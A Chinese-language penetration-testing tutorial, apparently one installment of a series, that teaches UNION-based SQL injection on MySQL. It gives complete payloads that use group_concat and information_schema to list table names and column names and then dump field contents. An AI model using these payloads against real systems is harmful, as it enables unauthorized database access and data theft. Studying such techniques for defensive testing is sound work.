本系列课程,将重点讲解渗透测试必备技能之数据库安全审计专业知识中的SQL注入部分。
本文章仅提供学习,切勿将其用于不法手段!
提到数据库安全,提到数据安全审计,就不得不说一下,SQL注入攻击的相关知识点。
想要进行更高层次的SQL注入攻击测试,你必须了解尽可能多的数据库相关知识!
正所谓,知己知彼,百战不殆!
想要进行复杂一些的SQL注入操作,你必须熟悉数据库语句中的相关关键函数。
group_concat 函数,用于将查询到的多行单列数据合并成一行(默认,中间以逗号分隔)。
distinct 关键字,用于去重,配合 group_concat 函数使用,可以获得无重复的、合并后的单列数据。
让我们来观察一下这条SQL注入语句
select test.user.user_name,test.user.user_password from test.user where test.user.user_name='admin' and 1<>1 union select 1,(select group_concat(distinct table_name) from information_schema.tables where table_schema='数据库名称') ; -- and test.user.user_password='admin';
上面的SQL语句,利用了 group_concat 函数和 distinct 关键字 并配合MYSQL数据库服务器软件自带的数据库 information_schema 中的 tables 表 来进行指定数据库下的表名称集合查询。
这是十分实用且重要的SQL注入查询,在从事渗透测试行为时,我们必须了解目标数据库中的相应表结构,那么实现这一切的前提,是我们必须先知道指定的数据库中存在哪些张数据表。
接下来,我们可以通过上面已经得到的数据库名称和数据表名称去查询指定数据表存在哪些字段。
select test.user.user_name,test.user.user_password from test.user where test.user.user_name='admin' and 1<>1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名称' and table_name='数据表名称'); -- and test.user.user_password='admin';
通过上面的SQL注入查询,我们可以获知指定数据库下的指定数据表中存在哪些字段信息。
到了这里,我们的SQL注入操作,已经得到了大量的有价值信息,这些信息对于我们接下来的数据库渗透操作,是非常重要的!
我们,已经获得了数据库名称,已经获得了数据表名称,已经获得了数据字段名称,那么接下来,我们要做的,就是获取指定数据库中指定数据表中指定数据字段中的具体内容了!
select test.user.user_name,test.user.user_password from test.user where test.user.user_name='admin' and 1<>1 union select 1,(select group_concat(指定数据库名称.指定数据表名称.指定字段名称) from 指定数据库名称.指定数据表名称); -- and test.user.user_password='admin';
注意,在跨数据库查询的SQL语句构造中,我们需要使用符号 “ . ” 来分隔 指定数据库名称、指定数据表名称、指定字段名称。
请关注下一篇,白帽黑客养成手记之数据库安全审计基础SQL注入部分(四)